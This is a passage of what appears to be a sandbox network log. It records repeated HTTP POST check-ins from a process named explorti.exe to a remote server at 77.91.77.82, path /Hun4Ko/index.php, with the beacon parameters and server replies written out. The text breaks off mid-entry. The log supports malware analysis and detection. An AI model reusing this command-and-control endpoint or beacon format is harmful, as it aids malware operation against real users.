Jul 1, 2024 07:22:14.912990093 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:15.627074003 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49809	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:15.636136055 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:16.325460911 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49810	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:16.442440987 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:17.138597012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.6	49811	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:17.147845984 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:17.846134901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.6	49812	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:17.957386017 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:18.664467096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49813	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:18.676125050 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49814	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:18.802706003 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:19.523977041 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49815	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:19.532541990 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:20.230892897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49816	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:20.348690033 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:21.034251928 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49817	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:21.043771982 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:21.769597054 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49818	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:21.883407116 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:22.568835020 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49819	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:22.578537941 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:23.267301083 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49820	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:23.379641056 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:24.096277952 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49821	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:24.108047009 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:24.820585966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49822	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:24.941873074 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:25.637309074 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49823	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:25.650248051 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:26.340907097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49824	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:26.458039999 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:27.172935009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49825	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:27.183104992 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:27.891957998 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.6	49826	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:28.010041952 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:28.750081062 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49827	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:28.766534090 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:29.473516941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49828	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:29.582664013 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:30.266300917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	49829	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:30.274753094 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:22:30.972963095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	49830	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:31.085995913 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:22:31.781402111 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:22:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	49831	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:22:31.791817904 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: 